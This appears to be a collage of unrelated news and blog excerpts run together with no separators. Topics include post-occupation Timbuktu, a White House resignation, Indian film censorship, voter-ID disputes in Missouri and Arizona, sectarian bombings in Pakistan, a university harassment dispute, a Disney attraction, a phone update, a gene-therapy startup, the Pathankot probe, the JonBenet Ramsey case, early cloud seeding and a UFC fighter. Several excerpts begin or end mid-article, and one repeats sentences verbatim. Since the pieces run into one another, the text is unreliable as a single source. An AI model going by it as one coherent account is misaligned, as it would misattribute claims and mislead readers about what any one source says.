“Even when there are no attacks, it doesn’t mean we are in peace. We are definitely at war.”
In Timbuktu, once the primary base of the jihadists, the tensions are evident. Although there is collective relief that the militants’ rule has ended, the mud-walled city remains a shadow of its illustrious past. The streets, once bustling with traders and visitors, including Western tourists, are deserted. Most shops are shuttered. Prices of staple items such as gas and grains have soared.
Tens of thousands of residents who fled during the jihadists’ reign have yet to return, remaining in refugee camps outside Mali or with relatives and friends in the capital, Bamako, and other southern towns where the conflict never reached.
Nearly all of Timbuktu’s minority light-skinned Tuareg and Arabic-speaking Moor population has fled. Many members collaborated with the Islamists or supported a separatist Tuareg rebellion that helped trigger the Islamist takeover. Even those who supported neither movement left, fearful of reprisal attacks by Mali’s darker-skinned ethnic groups, which were persecuted the most by the Islamists.
“The city has changed,” said Nadjim al-Mubarak, 52, a tailor, as he walked down a desolate, sand-covered street. “There used to be traffic, business and people everywhere. Now, life is dead.”
France plans to withdraw about three-quarters of its 4,000 troops by the end of the year. Replacing them will be a 12,600-member U.N. peacekeeping force, scheduled to arrive ahead of elections in July. But the peacekeepers’ mandate prevents them from using force except in self-defense, posing long-term challenges to efforts by France, the United States and other countries to stop a jihadist haven from emerging in West and North Africa.
The United States has deployed a small number of troops to Mali and is setting up a drone base in neighboring Niger. The U.S. role may grow if Mali chooses a president democratically, which would remove legal restrictions on American military aid imposed after a military coup in March 2012.
The jihadists took advantage of the chaos surrounding the coup, joining with the Tuareg rebellion, and overran the north. They included militants from al-Qaeda in the Islamic Maghreb, the terrorist network’s West and North Africa affiliate, and other radical Islamists who called themselves Ansar Dine, or “defenders of the faith.” By April 2012, the rebels had arrived in Timbuktu.
Soon, the radicals turned against the Tuareg separatists and asserted control. They swiftly imposed Islamic sharia law on the moderate Muslim population, enforcing their codes through public amputations, stonings and prison sentences. In Timbuktu, an ancient center of Islamic learning nestled on the edge of the Sahara, the jihadists destroyed several earthen tombs of Sufi saints, declaring such shrines as idolatry and a sin under Islam.
Persistent danger
At the end of a dirt road near the city’s center is a dun-colored building with a sign that says “Islamic Prison” in French and Arabic and is emblazoned with the jihadists’ flag. Scrawled on a blackboard inside on a recent day was a drawing of the Timbuktu region, with the words “Islamic Republic” written above.
The jihadists’ goal of setting up their own Islamic emirate was disrupted in January when France launched its assault, pushing the jihadists out of the city and the towns of Gao and Kidal. The fighters have disappeared into the desert and mountains and into remote villages. From there, they stage attacks.
During the past four months, there have been at least eight suicide bombings in Gao, Kidal and Timbuktu, as well as several other attacks across the region, which have killed and injured troops and civilians. On April 29, a French soldier was killed and two others were injured in a roadside bombing near Kidal. This month, a suicide bomber on a motorcycle targeted a Malian military patrol near Gao as other militants in a car sprayed bullets, sparking a clash that left at least three of the attackers and two soldiers dead, according to Malian military officials.
“These guys know the terrain and all the market days of different villages, so they can blend into the crowds,” said Ousmane Halle, the city’s mayor. “They move from place to place. They know how to hide their weapons. After passing security checkpoints, they stage ambushes.”
“The situation here is not completely without threat,” conceded Col. Mamadou Mangara, the governor of Timbuktu province, of which the city is the capital. “But we understand their system, and we are taking precautions to limit their activities.”
Mangara works out of a hotel that is heavily guarded by soldiers. Wherever he travels, a military escort accompanies him.
There’s not much of a city to govern. Basic services are woeful; residents get only five hours of electricity a day. Only a handful of local administration officials have returned. Most reside in the same hotel as Mangara. A small contingent of police officers from Bamako has arrived, but residents said they rarely see them on patrol. No one can enter the city after 6 p.m., and a driving ban goes into effect at 6:30 p.m.
The rule of the jihadists, who kidnapped Westerners, decimated the tourism industry, the economic life support of most residents. Most hotels and curio shops have been shuttered since the takeover.
“The situation of the city is that there are no jobs,” lamented Abdoulaye Toure, 32, a cobbler. “Why would anyone want to return?”
Mixed reactions
In the Abaradjou section of the city, where most of the Tuaregs and Arab Moors lived, nearly every house is empty. Those who haven’t fled stay indoors.
Among Timbuktu’s majority-black community, the departure of the Tuaregs and Arab Moors has evoked mixed reactions. For generations, many Tuaregs and Arab Moors have enslaved blacks and considered themselves superior to their darker-skinned compatriots. Many blacks view them as racists who refused to accept black-majority rule and have long sought an autonomous state.
There were differences in languages and traditions, but the communities coexisted relatively peacefully and mixed freely. That changed when the jihadists arrived, residents said.
“They were with the Islamists,” Toure said of the lighter-skinned residents. “And the Tuaregs and Arabs were always arrogant to us.”
But other residents said the Tuaregs and Arab Moors were important to the city’s economy. Their nomadic traders would bring back goods from nearby Algeria, Libya and Mauritania, keeping prices down in a city that has long been impoverished. Now, the Timbuktu mayor said, the links with these places are gone and “commerce has died.”
The city depends on goods arriving from Bamako — a two-day journey on poor roads — which has played a key role in driving prices up.
“Timbuktu cannot survive without the Tuaregs and Arabs,” said Alpha Saloum Maiga, who manages the hotel where the governor and other officials reside. “We need them to come back.”
The departure of Michael Dubke, Trump’s communications director, comes as aides say Trump has grown increasingly frustrated by allegations of Russian meddling in the 2016 election and revelations of possible ties between his campaign and Moscow.
Trump tweeted Tuesday: “Russian officials must be laughing at the U.S. & how a lame excuse for why the Dems lost the election has taken over the Fake News.”
Dubke wrote in a statement that it had been an honor to serve Trump and “my distinct pleasure to work side-by-side, day-by-day with the staff of the communications and press departments.”
Dubke’s last day has not yet been determined.
A Republican consultant, Dubke joined the White House team in February after campaign aide Jason Miller — Trump’s original choice for communications director — withdrew from the White House team. Dubke founded Crossroads Media, a GOP firm that specializes in political advertising.
Dubke is the latest White House staffer to leave this administration as scrutiny intensifies over contacts Trump staffers may have had with Russian government officials during the campaign and transition period.
White House counselor Kellyanne Conway told The Associated Press on Tuesday that Dubke resigned before Trump left for his international trip earlier this month, suggesting that his departure is not linked to any pending shake-ups.
But his departure raises questions about whether previous Trump loyalists are headed to the White House. Trump has entertained formally bringing back his former campaign manager, Corey Lewandowski, and former deputy campaign manager, David Bossie.
Bossie told Fox News’ “Fox & Friends” that the Trump administration has reached out to him but hasn’t offered him a job yet.
“They have talked to many people, including me,” Bossie said. He later added: “It’s an ongoing conversation and that’s a fair way to put it.”
In an interview on Fox News on Tuesday, Conway said Dubke “made very clear that he would see through the president’s international trip, and come to work every day and work hard even through that trip because there was much to do here back at the White House.”
Dubke’s hiring was intended to lighten the load on Sean Spicer, the White House press secretary, who had also been handling the duties of communications director during Trump’s first month in office. Trump has privately pinned some of the blame for his administration’s rough start on the White House’s communications strategy.
While overseas, Trump’s longtime lawyer, Marc Kasowitz, joined a still-forming legal team to help the president shoulder the intensifying investigations into Russian interference in the election and his associates’ potential involvement.
More attorneys with deep experience in Washington investigations are expected to be added, along with crisis communication experts, to help the White House in the weeks ahead.
The latest revelations to emerge last week involved Trump’s son-in-law and top aide, Jared Kushner. Shortly after the election, Kushner allegedly discussed setting up a secret communications channel with the Russian government to facilitate sensitive discussions about the conflict in Syria.
The intent was to connect Trump’s chief national security adviser at the time, Michael Flynn, with Russian military leaders, a person familiar with the discussions told the AP. The person wasn’t authorized to publicly discuss private policy deliberations and insisted on anonymity.
Flynn handed in his resignation in February after it was revealed he misled top White House officials about his contacts with Russian officials.
The disclosure of the back channel has put the White House on the defensive.
Just back from his nine-day trip to the Middle East and Europe, Trump dismissed recent reports as “fake news.”
Trump also has renewed his criticism of Germany following Chancellor Angela Merkel’s suggestion that her country needs to adopt a more independent stance in world affairs.
Trump posted a tweet Tuesday saying “we have a MASSIVE trade deficit with Germany, plus they pay FAR LESS than they should on NATO & military. Very bad for U.S. This will change.”
Joshi is probably a much better choice than Nihalani to head the Board. In an interview, he had once said that in an ideal world, there should be no censorship. He's now in a position to make that idea come true.
While arbitrary and burdensome censorship was not entirely non-existent before Nihalani, it prospered particularly under him; this needs to change. For that to happen, Prasoon Joshi has to fundamentally overhaul the philosophy of censorship that his predecessor allowed, and even encouraged.
The first order of business will be to comprehensively let examining committee members — who actually watch films and recommend cuts — know that it's time for a much more hands-off approach than what they have so far been used to.
The first order of business will be to comprehensively let examining committee members know that it's time for a much more hands-off approach than what they have so far been used to.
Remember, Nihalani may be gone, but the lists of cuts the CBFC gained notoriety for came from less-known committee members; this was the case before Nihalani and this will continue after him too. These committee members knew that they could be as heavy-handed as they wanted to be under Nihalani, and so felt empowered to demand tens of cuts from filmmakers.
Joshi needs to make clear to these members that their primary goal is certification, not censorship. The CBFC's Board, which heads the organization, has also been reconstituted with members like Vidya Balan and Vivek Agnihotri, who have both expressed support for a freer censorship regime.
Secondly, he needs to reform revising committees. Revising committees are a kind of appeal body within the Censor Board itself who can review decisions made by the examining committee. These committees need to be empowered to be more liberal and actually act as an appellate body.
No filmmaker should have to go to the Film Certification Appellate Tribunal or courts to appeal against the Censor Board's decisions.
No filmmaker should have to go to the Film Certification Appellate Tribunal or courts to appeal against the Censor Board's decisions. Getting examining committees' decisions reversed — as Madhur Bhandarkar was recently able to do — need to be possible more often.
Third, Joshi must extend these reforms not only to the individuals in Mumbai, but in the many regional offices that the Censor Board has across the country. While these offices are subjected to less media scrutiny, they can be equally, if not more conservative.
For instance, the Kolkata office tried to cut "cow", "Gujarat", "Hindu India" and "Hindutva view of India" from a documentary featuring Amartya Sen. The Chennai office can be much more stifling.
I obtained the certificate for Kavan, a Tamil U/A film — U/A films can be watched by children with adult supervision — and the cuts were staggering. Words like 'shit' and 'screw', and commonplace Tamil swears like 'panni' (pig) were cut. Since resisting CBFC decisions publicly isn't common in Kollywood, there are fewer constraints on how the Chennai office operates. I suspect the situation is similar for other regional Censor Board offices.
Thursday, May 15, 2008
Here We Go Again
by digby
There's a big voter disenfranchisement scheme unfolding in Missouri this week. It could be a very big problem --- they want it in place before November:
Missouri, the battleground state that has accurately picked the Presidential winner in every election since the 1950s, now faces an unprecedented peril this week: the theft of the voting rights of at least 240,000 of its citizens (nuns included) and the sure loss of the swing state of Missouri to Republicans in the Presidential race in November. And If Obama, the presumptive nominee of the Democratic Party loses Missouri, he will likely lose the fall election as well.
Unfortunately, the wily "Thor" Hearne, the St. Louis-based voter-fraud propagandist and Republican lawyer who has been the leading GOP operative promoting vote suppression since 2000, has been working closely with the key Republican legislator promoting a new constitutional amendment requiring photo ID. Republicans are rushing to pass the measure before adjournment this Friday and bring it to voters in August, in time to stop enough blacks, the poor, the elderly, students and the disabled from voting Democratic in November. As John Hickey, the executive director of the advocacy group ProVote, told me, ""If you exclude 240,000 people from the electorate, that is plenty to swing the election in Missouri," with state-wide races having razor-thin victory margins as little as 21,000.
This is one state where it really could make the difference.
Thor Hearne is one of the preeminent vote suppression experts in the Republican party. I've written about him many times. Brad Friedman has been following his every move for years. His involvement means this is a serious move to steal Missouri.
We know this hits African Americans and Latinos hard and it's designed to make them think twice about putting themselves through this legal hassle. But there's another group that's going to be hard hit by this ---- the elderly. And in Arizona, where they now require proof of citizenship , even though they've been voting for 60 years, they are now just out of luck:
The devastating personal impact of denying people the right to vote because they can't get hard-to-get photo ID and birth certificates is best illustrated by a heart-breaking story I reported earlier in the week . I spoke to 97-year-old Shirley Preiss about her efforts to vote in Arizona after having voted for every Democratic Presidential candidate since FDR in 1932. I quote an ACORN organizer about the use of immigrant-bashing as a lever to block American citizens from voting, then I went on to tell Shirley's story. It bears repeating, because what happened to Shirley could happen to every poor person, disabled person, elderly person and minority who doesn't have the ready access to the funds, time and ability to navigate bureaucratic hurdles to obtain government-issued embossed birth certificates and other ID: "All the discourse here is about immigration," Arizona ACORN organizer Monica Sandschafer observes. "But we're really talking about Arizonans who are Americans and whose legal right to vote is being denied. And while Latino citizens are hit hard, we're finding that all Arizonans are at risk of being disenfranchised by this requirement."
Perhaps no one knows that as well as 97-year-old Shirley Freeda Preiss. She was born at home in Clinton, Kentucky in 1910, before women had the right to vote, and never had a birth certificate. Shirley has voted in every presidential election since FDR first ran in 1932, and proudly describes herself as a "died-in-the-wool Democrat." After living in Arizona for two years, she was eagerly looking forward to casting her ballot in the February primary for the first major woman candidate for President, Hillary Clinton. But lacking a birth certificate or even elementary school records to prove she's a native-born American citizen, the state of Arizona's bureaucrats determined that this former school-teacher who taught generations of Americans shouldn't be allowed to vote. "I have a constitutional right to vote, don't I?" she asks with her soft Southern drawl. "I didn't get to vote because of a birth certificate. What am I going to do now?" Her strong-willed 78-year-old son, Nathan "Joey" Nemnich, a World War II veteran, is infuriated. "I'm pissed. She's an American citizen who worked her whole life and I want her to vote," he says. He went down to the local Motor Vehicle Division to get her an Arizona ID and register her to vote, armed with copies of his mother's three drivers' licenses from her previous home in Texas, along with copies of her Social Security and Medicare cards. All that wasn't good enough for the state of Arizona. "The sons of bitches are taking away our Constitution," Nemnich says. In Arizona and now as seems likely in Missouri, Kafkaesque rules blend with right-wing ideology to block American citizens like Shirley Preiss from voting, collateral damage in the Republican-led war on democracy. "I was very disappointed," she says of the state's roadblocks to voting. "It's not acceptable. I've always voted."
Pakistan, a nuclear-armed U.S. ally, is suspending phone coverage in many cities this weekend, an important one in the Shi’ite Muslim calendar, after a series of bomb attacks on Shi’ites triggered by mobile phones.
Hardline Sunnis have threatened more attacks as the Shi’ite mourning month of Muharram comes to a climax. More than a dozen people have already been killed this week observing Muharram.
Some Shi’ites have been receiving text message death threats.
Saturday’s attack occurred in the city of Dera Ismail Khan in Pakistan’s northwest, a stronghold of al-Qaeda-linked Sunni militant groups who regard Shi’ites as non-Muslims and have stepped up sectarian attacks in a bid to destabilize Pakistan.
Four children were among those killed by a 8-10 kg bomb set off by a television remote control device because cellphones were not operational, police said. Khalid Aziz Baloch, a senior medical official, said 30 people were wounded.
The explosion was so powerful that it hurled a young boy onto a rooftop from a street, where a man later carried away half of his body, as a policeman with a bomb detector and residents stood near blood stains.
Intelligence information indicates more attacks have been planned for the coming days in the capital, Islamabad, Karachi and Quetta. Mobile phone service will be suspended for hours in the three cities and dozens of others over the weekend.
For the most part, Shi’ites and Sunnis live in harmony, but extremist groups have increased tensions.
This week’s violence against Shi’ites prompted Amnesty International to criticize the Pakistani government.
“Amnesty International has recorded at least 39 attacks on Shi’a Muslims since the start of 2012,” it said in a statement.
“But despite the frequency of such violence, the Pakistani government has a poor track record of bringing the perpetrators - and those who incite them - to justice.”
In Pakistan’s biggest city Karachi, more than 5,000 police are expected to patrol the streets during Muharram events over the next two days. Tens of thousands are expected to take part in processions in Islamabad.
Muharram marks the anniversary of the Battle of Karbala, where the grandson of the Prophet Mohammad and his family members were killed.
Western intelligence agencies have mostly focused on anti-American groups like al Qaeda and the Taliban in Pakistan, paying far less attention to sectarian hardliners who are becoming an increasing deadly and effective force.
Pakistani intelligence officials say extremist groups led by Lashkar-e-Jhangvi have intensified their bombings and shootings of Shi’ites in the hope of triggering conflict that would pave the way for a Sunni theocracy in U.S.-allied Pakistan.
The schism between Sunnis and Shi’ites developed after the Prophet Muhammad died in 632 when his followers could not agree on a successor.
Sunnis recognize the first four caliphs as his rightful successors. The Shi’ites believe the prophet named his son-in-law Ali. Emotions over the issue are highly potent in modern times, pushing some countries, including Iraq five years ago, to the brink of civil war. Pakistan is nowhere near that stage.
But officials worry that LeJ and other groups have succeeded in dramatically ratcheting up tensions and provoking revenge attacks in their bid to topple the U.S.-backed government, which faces a host of other challenges as well which fuel instability.
The Roanoke Times recently published an article about Nic Jensen and his battle with Southern Virginia University over allegations of sexual harassment from the school’s provost Madison Sowell.
There has been discussion about Nic’s supposed activism in some conservative Mormon circles, where critics are basically calling Nic a whiny child pushing an agenda to undermine the religious convictions of a god-fearing administrator at a private LDS school.
Of course, there’s a lot more to it than that.
In the Roanoke Times article it comes across as if there is no way to know what really happened between Nic Jensen, a good friend of mine, and Madison Sowell. But there was a third person in the room. And I happen to be married to her.
Sara and I met Nic during his freshmen year at Southern Virginia University. I immediately recognized that he was sharp, friendly, and open-minded. Later that year we sat next to each other in the front row of a class on comparative politics. I wasn’t wrong in my first impression; Nic is undeniably smart, and I was glad that, like me, he decided to major in politics. The following semester Nic interned for Sara on Terry McCauliffe’s successful gubernatorial campaign. We remain very close to Nic. We opened our home to him many times if he needed a place to feel safe and welcome.
Nic asked Sara to accompany him when he met with Provost Sowell to discuss rumors about Sowell raising allegations of Nic’s behavior to fellow students. Allegations that were groundless, especially to students who knew Nic, but were nonetheless harmful to his emotional well-being.
“It was difficult,” Sara recalled, “to listen to someone who is respected in our school and church tell Nic about how the only openly gay people he knew were drug addicts and suffered from depression, while people who suppress their homosexuality by choosing celibacy or marrying women were happy. It was upsetting because he was basically suggesting to Nic that if he chose to marry a man he would lead a life of depression or substance abuse.”
“He assumed he was breaking the honor code because he was gay, even though Nic was very clear that he had no intention of doing so.”
Sara says she left the room in tears.
Nic had a boyfriend at the time, and the school’s dean of students, who is actually in charge of honor code issues—not Provost Sowell—was aware of this and had no problem with it.
“He admitted to questioning Nic’s integrity because all he knew about him was that he was gay. He didn’t know his grades, he didn’t know about his extra-curricular involvement, he didn’t know about all the people who know and love him. He didn’t know about the professors who considered him one of their best students,” Sara said.
Nic Jensen is the caliber of student that any university would be proud to have on its campus. But to Sowell, he was nothing more than his sexuality. All he saw was a gay kid, and so immediately he was discredited as a student, as a church member, and as a human being. Sowell questioned other students about Nic’s sexuality because he equates open homosexuality with reckless flirtatiousness and promiscuity. Sowell admitted that he considered Nic’s character to be deeply flawed based solely on his decision to identify as a gay man.
The confrontation between Nic and Sowell was avoidable, sure, but it’s not like Nic haplessly wandered into Sowell’s office to confront him on his views on homosexuality. Without cause, Provost Sowell asked other students if Nic was propositioning them for sex. That is harassment, and creates a social environment that is certainly not conducive to a healthy learning, much less the spirit. These incidents led Nic to approach Sowell. It was incredibly noble of Nic to take his concerns to Sowell directly, rather than let his suspicion steep in rumor.
After the meeting, Nic endured an intense bout of depression and even thoughts of suicide. Thanks to the help of a very supportive and loving family, he’s doing pretty well. But not everyone is so lucky. Nic decided to speak up not only for himself but also for the countless other Mormon teens who encounter hostility and disgust and do not have an encouraging support system to help them through dark times. It breaks my heart to think how this could have ended very differently, and that in too many instances, it does. That is why this matters. That is why Madison Sowell’s flippancy when confronted with such pain should not be tolerated.
This has not been about differences of opinion. Many of Nic’s professors and fellow students disagreed with him on political issues, especially gay marriage, but he still retains good relationships with them built on mutual respect.
Here’s where people miss the gravity of this situation. It may not have been outwardly aggressive or explicitly discriminatory. But it was hardly kind, or Christlike, or appropriate. A lot of buzz surrounding this case tries to turn Sowell’s position as some sort of example of freedom of speech with the politically correct left coming in and trying to censor an expression of deeply held belief. However, as I recently wrote, such a framing of these incidents undermines the whole point of Christianity.
Sowell was cleared of wrongdoing after an investigation, but the investigation did discover that Southern Virginia University was unequipped to deal with the legitimate grievances Nic had. In no situation should a school administrator openly discuss a student’s sexuality with other students. Additionally, attempts to drag Nic through the mud in social media over his earnest attempt to prevent future students from enduring such humiliation is disheartening.
Let me also add that my time at Southern Virginia was thoroughly rewarding. I have a deep appreciation for the school’s mission, and in no way should this incident reflect the atmosphere or attitudes of the vast majority of good, intelligent people who work there. Nic feels this way as well, and I know the decision to leave before he finished his degree was not an easy one.
On Christmas Day, the company released a video sneak peak of “Pandora: The World of Avatar,” a new themed land that will open this summer at Disney’s Animal Kingdom at Walt Disney World Resort in Florida.
In the video above, viewers can see how James Cameron and Disney’s chief engineers managed to make Pandora a reality, which was no easy task.
“It’s a stunning amount of innovation to make one believable world ― Pandora,” said Joe Rohde, senior vice president of creative at Walt Disney Imagineering.
The attraction includes a ride that will make visitors feel like they’re flying on Banshee creatures and take them on a river ride through a stunning bioluminescent forest, giving the park a sparkly glow that will light up the area.
Lollipop build for @oneplus one has entered QA/QE stage for release! Testing & cert to begin alongside 3rd party partners to meet GMS reqs. — Cyanogen Inc. (@CyanogenInc) February 1, 2015
The update, which will come OTA, is based on Android 5.0.2. Since multiple parties are involved, a precise release date can't be pinned down. Rest assured that it will be soon, though.
This is unrelated to OnePlus's recent announcement that they will be developing their own software called Oxygen OS. While Cyanogen will probably no longer be the OS partner of choice for OnePlus, support will continue for all phones that shipped with CyanogenMod 11S.
While $5.7 billion was invested in companies developing cellular and genetic therapies, and with 800 clinical trials initiated worldwide and the first two CAR-T cell therapies expected to launch into market later this year, businesses still say the ability to get these treatments to patients is limited by paperwork, supply chain management, and last mile delivery.
So GE (through its GE Ventures arm), the Mayo Clinic (through Mayo Clinic Ventures) and the venture investment firm DFJ have invested $13.75 million to back Vineti — a software platform the companies are billing as a solution to gene therapy’s supply chain problem.
It’s only the sixth company to have actually been built by GE’s internal business team and spun out by the conglomerate’s venture arm.
According to company co-founder and former GE Ventures managing director Amy DuRoss, the process for developing and managing gene therapies is critical to the success of the treatment.
To that end, Vineti’s software tracks logistics, manufacturing and clinical data to improve treatments and drive down the cost of these therapies (which are mainly only accessible to those people with the very best health plans).
The startup’s technology was actually born out of necessity (always the mother of invention) and came from conversations that GE was having with a large, undisclosed customer.
“A pharma company that is a regular client of GE Healthcare said we are solving late stage cancer and we want to take this commercial but we have not got the technology that can ensure that we can scale out these technologies in the commercial phase,” DuRoss told me.
GE’s healthcare business then took the problem to the company’s venture investment and new business arm and began the development process of building a business.
In addition to DuRoss, who has been a luminary in the life sciences field since she helped with the push to get stem cell research approved in California; Vineti has a murderer’s row of leading healthcare talent.
Chief strategy officer Heidi Hagen, was the former SVP of Operations for cell immunotherapy pioneer Dendreon; chief technology officer Razmik Abnous was the chief technology officer at the healthcare data management juggernaut Documentum; and Malek Faham, the company’s chief science officer, literally worked on some of the foundational science for gene therapies.
While the company’s technology could have applications for a number of different treatments, and be used for several kinds of therapies, the focus, for now, is on cancer.
“Cancer is a bullseye,” says DuRoss. “It is arguably the biggest cause of human suffering [and] there are treatments already in phase three,” that if brought to market effectively could mark a turning point in medicine’s battle against the deadly disease, she said.
“We see an opportunity as data accrues to the system over time for a use case in predicting therapy… based on outcome data… but we’re not making these claims today,” said DuRoss.
Mayo Ventures had been working with GE for two years from the initial concept to the close of this new round of financing for Vineti. It’s one of only 15 companies that the Clinic has backed since the formation of Mayo Clinic Ventures, and according to Andy Danielsen, the vice chair of Mayo Clinic Ventures.
“One thing with Vineti that we liked is that we have a commitment to cell and gene therapies at Mayo,” said Danielsen, so the interests were aligned. “Vineti will make the gene and cell therapy production process more efficient and as a result, less costly. It’s all part of the equation of making these therapies more affordable and opening them up to a greater number of people.”
Ballesteros says he begins the process by drawing the characters' features onto his face so that he can visualize the end product. Then he wipes the outlines off and goes back in with primer, foundation, eyeshadow, and contouring makeup. The wig comes last. It takes about half a day, from sketch to Instagram post.
The most important part of the transformation isn't makeup at all, but nailing the characters' facial expressions, Ballesteros told The Verge. Despite the fact that he doesn't watch Game of Thrones, he said that his favorite lady to emulate was Cersei Lannister, because "she has this evil look, but she's so beautiful. I was doing the duck face with attitude the whole time!"
Ballesteros is currently filming scenes for his starring role in a movie called Die Beautiful, an indie project about a trans woman whose dying wish is to be buried as Lady Gaga.
Here's a behind-the-scenes shot from the film in which Ballesteros is made up to look like Julia Roberts in Pretty Woman:
Hi Pretty Woman Trisha! #DieBeautiful #JuliaRoberts A photo posted by Paolo Ballesteros (@pochoy_29) on Jul 20, 2016 at 2:28am PDT
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Despite Pakistan media reports that Islamabad believed the Pathankot attack was “staged managed by India”, New Delhi maintained that they it will go by the official statement from its counterpart. Now, Basit’s statement has come at a time when the NIA team was waiting for the final date to visit Pakistan as part of the probe.
Watch | Peace Process With India ‘Suspended’, Says Pakistan Envoy Abdul Basit
So what led to this latest turn in Indo-Pak relations?
March 25, Arrest of Kulbhushan Yadav in Balochistan: Pakistani security forces claimed to have arrested an ex-Indian naval officer named Kul Bhushan Yadav. Pakistan said Yadav was a ‘commander-rank officer’ of the Indian Navy who was working for RAW. Indian government dismisses Pakistan’s claims and the Ministry of External Affairs says the arrested person had no link with the government since his premature retirement from the Indian Navy.
March 27, JIT team visits India: The JIT interacted on the Pathankot case with NIA officials and visited the IAF base where they were shown the scene of crime as well as the location from where the terrorists sneaked in and hid. The JIT was given access to 16 witnesses including Salwinder Singh, his cook, Rajesh Verma and some witnesses as per agreed terms of reference and extant legal provisions. NIA shared with JIT the identity and the address of the four terrorists and requested that the JIT confirm the same.
March 29, Pakistan releases video: After India’s denial, Pakistan authorities release video of Kulbhushan Yadav confessing to having funded Baloch insurgents. Indian intelligence officials pointed to multiple errors in Jadhav’s testimony to assert that it may have been coerced. “The video has this individual making statements which have no basis in fact. That the individual claims to make the statements of his own free will not only challenges credulity but clearly indicates tutoring,” Ministry of External Affairs said in a statement.
April 1, NIA to visit Pakistan: Director General of NIA Sharad Kumar tells media that a team of NIA will visit Pakistan to probe the Pathankot terror attack. Dates yet to be finalsed.
April 1, China blocks bid for ban of Masood Azhar: While Indian authorities were believing that the investigation into the Pathankot attack was going in right direction, China gave a shocker by blocking India’s bid in the UN to ban Jaish-e-Mohammad’s chief Masood Azhar, mastermind of Pathankot attack. China requested the UN Committee to keep on hold the designation. According to government sources, the Chinese action was in “consultation” with Pakistan, which is not on the UN Committee.
April 5, Pathankot attack ‘stage-managed’ by India, claim Pak media reports: Modi government once again comes under sharp criticism after Pakistan media reports that Pathankot attack was “stage-managed” by India and that its JIT was not provided with evidence of involvement of Pak-based terrorists. Congress, AAP slam Modi for surrendering to Pakistan and backstabbing Bharat Mata. However, government rubbishes Pak media reports.
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But why is that missing from the Ramseys’ book, and why did 29 year old Burke not mention this at all on Dr. Phil?
In Death of Innocence, when John discusses how Burke found out JonBenet was dead, he says:
A while later when Fleet White brought Burke to the house, Patsy tearfully put her arm around him . “Honey,” she said, “JonBenet has gone to heaven.”
Burke essentially tells the same story when he talks to Dr. Phil in September 2016, as well as when he talked to Detective Schuler in 1998. The only difference between his story and his dad’s is who told him the news. Here’s what Burke says to Dr. Phil:
“The next thing I remember is going to another one of our friends’ houses.
Everyone was really sad over there and my dad came and told me JonBenet was in heaven now and I started crying. ”
January 8, 1997
BERNHARD: So what do you think happened?
BURKE: [Taking a game board and rubbing it against his head and face]:
I know what happened. [He laughs].
BERNHARD: You mean when she got killed? How do you think that happened?
BURKE [Still covering face with board.]: Um, I think…well I…I asked my dad where
did they find her body and my, my dad said ‘I found it down in the
basement,’ and so…I, I think that someone took her very quietly and…
Took her down to the basement… [Burke is sitting back now and puts his game board on the table]
Curious that Burke says “they” when referring to his inquiry about where JonBenet’s body was found. Who’s they? And in a completely detached manor, he also refers to his sister’s body as “it”.
BERNHARD: Mhmm.
BURKE:…and he, and he took a knife out and he went whoops like that… I really… [making an overhanded punching motion with his right fist. He then puts his two fists under his neck and rests his elbows on the table].
Whacking somebody over the head is hardly a “whoops” but it’s fascinating that Burke adds that word in there to suggest the murder was probably some type of accident. Is it normal to assume that somebody who broke into your home and killed your family member did it by accident?
BERNHARD [Interrupting Burke]: Mm-hmmm. Do you think that’s how she died?
BURKE: Or maybe a hammer, he hit her in the head with it. [Burke repeats the same hitting motion with his right hand, then resumes putting his fists under his chin.]
How did Burke know on January 8, 1997, that his sister had died from a head blow? He certainly didn’t hear it from the news because the autopsy report wasn’t made public until July 14, 1997.
The discovery got Langmuir thinking. Scientists at the time knew that clouds in the sky were basically loose bags of supercooled water. They also knew that most rain actually begins falling from the sky as ice crystals, which melt on their way down. Langmuir reasoned that if he peppered clouds with dry ice, perhaps he could shock the supercooled water and create rain artificially. This led to his renting a plane that November and sending Schaefer up with six pounds of dry-ice pellets, just to see what happened. Twenty minutes later Langmuir was roaring about making history.
Langmuir’s team continued to toil in the lab and he soon sketched out an idea so revolutionary that he abandoned every other project on his slate to pursue it. It promised not only to improve rainmaking but to give Langmuir the superhuman power to control hurricanes.
The idea built on James Espy’s general theory of cloud formation. Espy said that clouds form when pockets of warm, less dense air rise into the sky. At some point the water vapor in them cools and condenses into droplets of liquid water. We on the ground see these collections of droplets as clouds, and for many years meteorologists assumed that rain followed automatically, whenever these droplets got around to falling. Turns out it’s not so simple. Most droplets that form within clouds don’t automatically sprinkle down as rain. They’re too small. As early balloonists knew, air provides a buoyant upward force on anything suspended within it, water droplets included. And when droplets form at high elevations, most of them are so tiny—one ten-millionth of a gram—that gravity can’t overcome the buoyant force and drag them down. Gravity keeps losing this battle, in fact, unless the droplets grow a million times larger, to a tenth of a gram. Clearly, then, for actual rain to fall, a million teeny droplets have to glom together into a larger unit. Otherwise they just sit there.
It is easy to see how people could jump to conclusions about Britain's highest-profile Ultimate Fighting Championship (UFC) star. With cauliflower ears and a scarred shaven head, Bisping certainly has the look of a brawler. When his brow furrows, it is only to reveal electric blue eyes that sear with intensity. At 6ft 2ins and - when I spoke to him two weeks ahead of tonight's fight - 13st 11lbs, he cuts an imposing figure.
Or at least he would, were it not for the way he just keeps on smiling. Outside of the octagon, Bisping possesses the demeanour of an oversized Ricky Hatton - all mischievous grins, wisecracks and gentle ribbing of his sparring partners.
''Sparkling, to match my teeth,'' he grins when a PR flunky asks if he'd like some water, before laughing off his seven-year-old son Callum's hopes of following in his footsteps. ''He's like his mum, bless him, he's such a little sweetheart. I was a little bastard when I was six. You can see the difference. I fell down the stairs, hit my head on every step and got up and probably attacked someone.''
The only thing that does get him going, it seems, is a perceived lack of respect from sections of the public. ''A lot of people are just giving ignorant views,'' he continues. ''They've watched it for two seconds. They've said: 'Oh, that's terrible,' and they haven't given it a chance. It's actually less dangerous than boxing. It might look bad when you've got one guy on top of another on the floor, but the guy on top can't actually get any power in his strikes, because all your power is in your legs. The guy underneath, sometimes he's controlling the fight, sometimes he's winning it - people don't know.''
With 15 victories in 16 mixed martial arts (MMA) fights to date, Bisping knows a thing or two about winning. His only defeat came after a controversial split decision against hometown hero Rashad Evans at UFC78 in New Jersey. And yet there is no lingering bitterness. Pointing out that he benefited from a similarly contested decision when beating Matt Hamill in London last September, Bisping was keen to focus on the positives.
''Rashad is a world-class opponent. He's still undefeated,'' Bisping says. ''And he beat me on a split decision. I was at no point beat up. I wasn't out of my depth. A lot of people thought that in that fight I was going to get manhandled - completely destroyed - so I think I silenced a lot of my critics, to be honest. And I was fighting out of my natural weight class. So I take a lot of positives from that. And I know in a re-match, I could beat him.''
